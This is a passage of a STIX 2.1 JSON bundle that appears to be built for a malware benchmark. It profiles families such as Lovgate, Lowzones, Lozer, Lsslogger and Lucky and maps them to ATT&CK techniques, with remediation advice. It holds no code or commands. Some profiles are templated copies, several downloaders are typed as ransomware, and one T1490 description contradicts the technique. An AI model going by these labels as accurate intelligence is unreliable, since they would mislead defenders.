      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lovgate exhibits technique T1534 (Internal Spearphishing)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--a5a09fee-a410-5de9-bd98-62d52fbfe316",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5bdcb184-b6d8-504c-81a7-95bc78bab50b",
      "target_ref": "attack-pattern--d66030a6-0b1f-5824-ae5f-d3704d249837",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lovgate exhibits technique T1021.002 (Remote Services: SMB/Windows Admin Shares)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--130a9808-6e92-5efd-99e7-e492489b77c2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5bdcb184-b6d8-504c-81a7-95bc78bab50b",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lovgate exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--1bd23728-972f-5a57-b4dd-5d9cafbeb4fe",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5bdcb184-b6d8-504c-81a7-95bc78bab50b",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lovgate exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--2e3c348c-bcbc-5b13-a4ce-9dce4aa0c82b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--5bdcb184-b6d8-504c-81a7-95bc78bab50b",
      "target_ref": "attack-pattern--6e5c1c96-55ac-56a4-97dc-4ea125bbfff4",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lovgate exhibits technique T1566.001 (Phishing: Spearphishing Attachment)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--a583f6e6-b341-5732-9e67-ffc71cb18507",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lowzones",
      "description": "<h3>Executive Summary</h3>\nLowzones is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLowzones is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Lowzones operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Lowzones ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Lowzones receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Lowzones infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Lowzones executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Lowzones frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Lowzones",
        "Downloader.Lowzones",
        "Win32/Lowzones"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lowzones",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lowzones"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c652d9c7-ec55-526d-8a68-e8b204a93a3f",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a583f6e6-b341-5732-9e67-ffc71cb18507",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lowzones exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--4f31a536-eaea-5d8d-8aaf-274d0fada959",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a583f6e6-b341-5732-9e67-ffc71cb18507",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lowzones exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--90f12678-458b-56da-9274-61bcbfead1bf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--a583f6e6-b341-5732-9e67-ffc71cb18507",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lowzones exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--e059366a-b451-565f-bd3a-d5a4a9fd6cbf",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Loyeetro",
      "description": "<h3>Executive Summary</h3>\nLoyeetro is a malicious Trojan designed to covertly infiltrate Windows systems, establish persistence, and act as a reliable downloader for remote threat actors. It is frequently utilized in the initial stages of a cyberattack to gather system intelligence and facilitate the automated deployment of secondary, highly destructive malware payloads, such as enterprise ransomware or banking trojans.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLoyeetro is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Loyeetro operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Loyeetro ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Payload Delivery:</strong> Acting as a downloader, Loyeetro receives instructions from the C2 server to silently download and execute secondary malware. This provides the attacker with a flexible platform to escalate the attack based on the value of the compromised host.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Loyeetro infection represents a significant breach of the endpoint perimeter. Because it provides remote attackers with the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Loyeetro executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Loyeetro frequently facilitates the deployment of info-stealers, all user credentials associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Loyeetro",
        "Downloader.Loyeetro",
        "Win32/Loyeetro"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Loyeetro",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/loyeetro"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--9f8a0a27-260e-5720-be2e-7cde6cffa6a2",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e059366a-b451-565f-bd3a-d5a4a9fd6cbf",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loyeetro exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--66592ee3-394e-55f1-96d0-208e156fee63",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e059366a-b451-565f-bd3a-d5a4a9fd6cbf",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loyeetro exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--353c83fa-f9b2-5e32-80d6-0b056238db42",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--e059366a-b451-565f-bd3a-d5a4a9fd6cbf",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Loyeetro exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--39940f17-6318-5c24-b95e-eb1a3bed6b09",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lozer",
      "description": "<h3>Executive Summary</h3>\nLozer is a malicious Trojan designed to covertly infiltrate Windows systems, establish deep persistence, and act as a reliable backdoor for remote threat actors. Frequently distributed in targeted spear-phishing campaigns, Lozer is often the primary initial access mechanism used to facilitate the deployment of secondary, high-impact malware payloads such as ransomware or enterprise info-stealers.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLozer is predominantly distributed through socially engineered spam campaigns containing malicious attachments (often weaponized PDFs or Office documents utilizing macro exploits) or via compromised software installers downloaded from untrustworthy web portals.\n\nUpon successful execution, Lozer operates with a focus on stealth and payload delivery:\n<ul>\n<li><strong>System Reconnaissance:</strong> The trojan immediately collects detailed system information, including the OS version, installed software, Active Directory domain membership, and active antivirus solutions. This fingerprint is transmitted to a command-and-control (C2) server.</li>\n<li><strong>Persistence:</strong> Lozer ensures it survives system reboots by modifying the Windows Registry (e.g., adding entries to the `Run` or `RunOnce` keys) or by creating hidden Scheduled Tasks that execute the malware payload under high privileges.</li>\n<li><strong>Command Execution:</strong> Acting as a backdoor, Lozer provides the attacker with a remote shell, allowing them to execute arbitrary system commands, manipulate the file system, and silently download and deploy secondary malware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Lozer infection represents a critical breach of the endpoint perimeter. Because it provides remote attackers with interactive access and the ability to execute arbitrary code, a single compromised machine can rapidly be utilized to pivot laterally and compromise the entire corporate network.\n\n<h3>Remediation and Eradication</h3>\n<ul>\n<li><strong>Endpoint Detection and Response (EDR):</strong> Configure EDR solutions to monitor for anomalous registry modifications and unauthorized outbound network connections to unknown IP addresses.</li>\n<li><strong>Network Isolation and Sweeps:</strong> Immediately isolate the infected endpoint from the LAN. Conduct a thorough forensic sweep to identify not only the Lozer executable but also any secondary payloads it may have successfully deployed.</li>\n<li><strong>Credential Reset:</strong> Because Lozer provides an interactive backdoor, all user credentials and active session tokens associated with the compromised endpoint must be treated as compromised and immediately reset.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Lozer",
        "Backdoor.Lozer",
        "Win32/Lozer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lozer",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lozer"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--fb891f2f-dff2-5226-92a6-240a2975c694",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39940f17-6318-5c24-b95e-eb1a3bed6b09",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lozer exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--7a6baf8c-9671-5f2d-8227-17a7fdda9e9e",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39940f17-6318-5c24-b95e-eb1a3bed6b09",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lozer exhibits technique T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--c9803b0f-e22f-5889-ab19-f0f286793c47",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--39940f17-6318-5c24-b95e-eb1a3bed6b09",
      "target_ref": "attack-pattern--f610f9c7-f371-50da-a04d-35ef5c472e9a",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lozer exhibits technique T1059 (Command and Scripting Interpreter)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--59c091ba-93fe-518f-a422-84318ec2d209",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lpt8Mkfbyfsjgnkb",
      "description": "<h3>Executive Summary</h3>\nLPT8MKFBYFSJGNKB is an automated, signature-based detection name used by security engines to identify a highly obfuscated, randomly generated Trojan dropper or downloader. The non-sensical, randomized naming convention strongly indicates that this executable was generated dynamically by a malware \"crypter\" or packer service. These services are specifically designed by threat actors to generate unique file hashes on every deployment, explicitly to evade static, signature-based antivirus solutions.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nHighly randomized executables like this are the hallmark of massive, automated cybercriminal distribution networks. They are typically encountered as malicious email attachments (often disguised as invoices or shipping receipts) or delivered silently via drive-by downloads when a user visits a compromised website hosting an exploit kit.\n\nUpon execution, the malware's primary function is deployment and evasion:\n<ul>\n<li><strong>In-Memory Evasion:</strong> The executable acts as a heavily encrypted shell. When run, it decrypts its core malicious payload and injects it directly into the memory space of a trusted, built-in Windows process (like `explorer.exe` or `svchost.exe`). This technique, known as Process Hollowing, prevents traditional antivirus from scanning the decrypted payload on the hard drive.</li>\n<li><strong>C2 Beaconing:</strong> Once active in memory, the Trojan \"beacons\" out to a Command and Control (C2) server to signal a successful compromise and request further instructions.</li>\n<li><strong>Payload Dropping:</strong> The ultimate purpose of this initial Trojan is to download and install a secondary, more specialized malware payload, such as a banking Trojan, a cryptocurrency miner, or enterprise ransomware.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nThe detection of LPT8MKFBYFSJGNKB is a critical incident. It signifies that a sophisticated, evasion-focused threat has bypassed initial network defenses and is actively attempting to deploy a severe secondary payload onto the compromised endpoint.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Isolation:</strong> The endpoint must be disconnected from the corporate network immediately to prevent the successful download of the secondary payload and to halt any potential lateral movement.</li>\n<li><strong>EDR Triage:</strong> Security analysts must utilize Endpoint Detection and Response (EDR) to trace the execution tree of the randomized executable. Identifying any child processes spawned or anomalous network connections made is critical to determining the scope of the breach.</li>\n<li><strong>Total Re-imaging:</strong> Because these trojans rely heavily on process injection and deep system hooking, attempting to \"clean\" the machine manually is highly risky. A complete bare-metal wipe and re-image from a trusted baseline is required.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Trojan.Obfuscated.Gen",
        "Dropper.RandomName",
        "Win32/Trojan.Packer"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lpt8Mkfbyfsjgnkb",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lpt8mkfbyfsjgnkb"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--f85f8ed6-b999-51c1-8267-a98ab65ae5b1",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59c091ba-93fe-518f-a422-84318ec2d209",
      "target_ref": "attack-pattern--6510e526-96ec-585d-a6e6-5397dc8c8303",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lpt8Mkfbyfsjgnkb exhibits technique T1027 (Obfuscated Files or Information)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--68607106-48f6-5808-9631-849ff213fb61",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59c091ba-93fe-518f-a422-84318ec2d209",
      "target_ref": "attack-pattern--fd6c1c13-5ac2-56b9-9973-db402db30180",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lpt8Mkfbyfsjgnkb exhibits technique T1105 (Ingress Tool Transfer)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32c7f53b-c6da-5afd-8697-34655e80b5bd",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--59c091ba-93fe-518f-a422-84318ec2d209",
      "target_ref": "attack-pattern--cfa68380-6a50-515d-86b2-2791a2479e2c",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lpt8Mkfbyfsjgnkb exhibits technique T1055.002 (Process Injection: Portable Executable Injection)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--de2b278f-0544-5f6c-a7f6-47dd8b0ef7e6",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lsslogger",
      "description": "Trojan:Win32/Lsslogger is a specialized, stealthy trojan designed exclusively for credential theft, specifically operating as a **Keylogger**. Unlike broad information stealers that simply scrape browser files, Lsslogger focuses on intercepting user input at the operating system level, capturing passwords, emails, and sensitive communications as they are typed, before they are encrypted by applications.<br><br><b>Understanding Lsslogger (Keyloggers)</b><br>To an end-user, Lsslogger is completely invisible; it does not display windows or impact performance. For a security analyst, a keylogger represents a severe breach of confidentiality. It implies that any credential entered on the compromised machine (including highly secure passwords not saved in browsers) is now in the hands of the attacker, often facilitating immediate lateral movement.<br><br><b>Execution and Interception Mechanics</b><br>Lsslogger is typically dropped by a primary infection vector, such as a malicious Office macro (`T1566.001`) or a downloader trojan. Once executed, it establishes persistence via the Registry Run keys or hidden scheduled tasks (`T1547.001`). Its core function relies on hooking Windows APIs (`T1056.001`). It uses functions like `SetWindowsHookEx` to intercept keyboard events before they reach the target application (like a web browser or VPN client). The captured keystrokes are recorded into a hidden, often encrypted, log file stored in the `%Temp%` or `System32` directory. Periodically, Lsslogger compresses this log file and exfiltrates it to the attacker, often using simple protocols like SMTP (emailing the logs to a disposable address) or FTP upload (`T1048.003`).<br><br><b>Indicators of Compromise & Impact</b><br>The impact is the total compromise of all accounts accessed from the infected machine. Host-based IoCs include EDR alerts for 'Suspicious API Hooking' targeting input functions, and the presence of rapidly growing, encrypted `.dat` or `.log` files in user profile directories. Network IoCs often include anomalous outbound SMTP (port 25, 465, 587) or FTP (port 21) traffic originating from a standard Windows process rather than a legitimate email client. (Observed samples in benchmark: 4)",
      "is_family": true,
      "malware_types": [
        "trojan"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lsslogger",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lsslogger"
        }
      ],
      "labels": [
        "trojan",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--0c12a7c8-42a9-56aa-ad08-1b274ff54086",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2b278f-0544-5f6c-a7f6-47dd8b0ef7e6",
      "target_ref": "attack-pattern--5f54d0f8-5d15-5341-b1b0-5a7cbe6761ce",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lsslogger exhibits technique T1056.001 (Input Capture: Keylogging (API Hooking via SetWindowsHookEx))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3043c24b-8122-50b0-a9e5-aef438377ec4",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2b278f-0544-5f6c-a7f6-47dd8b0ef7e6",
      "target_ref": "attack-pattern--03fbc9e9-7346-5d8d-8096-14417cb6c51d",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lsslogger exhibits technique T1055 (Process Injection (Injecting hooks into other processes))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--32abd266-947b-5802-97a0-149b0c32c821",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2b278f-0544-5f6c-a7f6-47dd8b0ef7e6",
      "target_ref": "attack-pattern--f035fb3a-e092-592e-a82f-3201715b5dc2",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lsslogger exhibits technique T1048.003 (Exfiltration Over Alternative Protocol (Exfiltrating logs via SMTP/FTP))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--24ea5e22-7341-5d78-b1b3-39ede8d9a9db",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--de2b278f-0544-5f6c-a7f6-47dd8b0ef7e6",
      "target_ref": "attack-pattern--53219291-f46b-5d02-88c0-e998a3368cac",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lsslogger exhibits technique T1547.001 (Boot or Logon Autostart Execution)."
    },
    {
      "type": "malware",
      "spec_version": "2.1",
      "id": "malware--33354a51-2afb-5073-a147-c21a3411987b",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "name": "Lucky",
      "description": "<h3>Executive Summary</h3>\nLucky is a destructive Ransomware family, closely related to (and often considered a variant or evolution of) the notorious Satan ransomware. First identified around 2018, Lucky targets both Windows and Linux environments, aggressively encrypting user files, databases, and network shares to extort cryptocurrency. It is unique for its extensive use of network exploitation tools to move laterally and rapidly spread across an enterprise environment before initiating the encryption routine.\n\n<h3>Infection Vector and Technical Capabilities</h3>\nLucky is rarely distributed via broad phishing campaigns. Instead, it is deployed by attackers who have already breached the network (often via compromised RDP credentials or exploiting unpatched edge vulnerabilities like Tomcat or WebLogic servers).\n\nOnce inside, Lucky's execution is methodical and highly destructive:\n<ul>\n<li><strong>Lateral Movement (Worm Capabilities):</strong> Unlike standard ransomware, Lucky actively scans the local network for vulnerable systems. It utilizes a bundled suite of exploits (including EternalBlue and various Apache Struts/Tomcat exploits) to rapidly propagate to other servers without user interaction.</li>\n<li><strong>Encryption Routine:</strong> The ransomware targets a vast array of file extensions, utilizing strong cryptographic algorithms (typically AES-256 combined with RSA). Encrypted files are appended with the `.lucky` or `.satan` extension.</li>\n<li><strong>Defense Evasion:</strong> Before encrypting, Lucky systematically executes commands (via `vssadmin` or `bcedit`) to delete Volume Shadow Copies and disable Windows recovery modes, ensuring victims cannot restore files without the decryption key.</li>\n</ul>\n\n<h3>Threat Assessment</h3>\nA Lucky ransomware infection is a catastrophic, Tier-1 security incident. Because of its worm-like capabilities, a single compromised server can lead to the encryption of the entire corporate infrastructure within hours, resulting in total operational downtime and massive data loss.\n\n<h3>Incident Response and Remediation</h3>\n<ul>\n<li><strong>Immediate Network Segmentation:</strong> Do not just isolate the infected machine; physically disconnect critical network segments to halt the lateral spread of the ransomware via EternalBlue.</li>\n<li><strong>Do Not Reboot:</strong> Avoid rebooting infected machines. Rebooting frequently triggers secondary destructive routines or permanently erases cryptographic material resident in volatile memory that incident responders might use to recover the keys.</li>\n<li><strong>Bare-Metal Restoration:</strong> Encrypted endpoints cannot be \"cleaned.\" They must be physically isolated, securely wiped, and re-imaged using known-good installation media, followed by data restoration from offline, immutable backups.</li>\n</ul> (Observed samples in benchmark: 1)",
      "is_family": true,
      "malware_types": [
        "ransomware"
      ],
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "aliases": [
        "Ransomware.Lucky",
        "Ransom.Satan",
        "Win32/LuckyRansom"
      ],
      "external_references": [
        {
          "source_name": "malware-families-catalog",
          "description": "Canonical Malware Families Catalog Technical Profile for Lucky",
          "url": "https://malware-families-catalog.systemhelpdesk.com/families/lucky"
        }
      ],
      "labels": [
        "ransomware",
        "ember-2018",
        "systemhelpdesk"
      ]
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--3877c3c1-fc3b-5dc2-b89c-53216338fc66",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33354a51-2afb-5073-a147-c21a3411987b",
      "target_ref": "attack-pattern--39fc3e3b-4925-51bd-9e25-b333ad9f6a10",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lucky exhibits technique T1486 (Data Encrypted for Impact)."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--5f7b4d13-8ec2-56c1-b83c-eb4dd6ecf706",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33354a51-2afb-5073-a147-c21a3411987b",
      "target_ref": "attack-pattern--f2075d7b-16c2-58d2-9cc6-630d2c2ccc49",
      "created_by_ref": "identity--5265a1a9-858b-5e49-b630-2fcfffc75a95",
      "description": "Lucky exhibits technique T1490 (Inhibit System Recovery (Behaviorally blocking the deletion of backups))."
    },
    {
      "type": "relationship",
      "spec_version": "2.1",
      "id": "relationship--b6ee6a13-f1df-5d1a-9038-9b50edd46d53",
      "created": "2026-01-01T00:00:00.000Z",
      "modified": "2026-10-16T16:18:57.000Z",
      "relationship_type": "uses",
      "source_ref": "malware--33354a51-2afb-5073-a147-c21a3411987b",
      "target_ref": "attack-pattern--9a77f7cf-eaa1-5bc1-a348-6e591703152b",
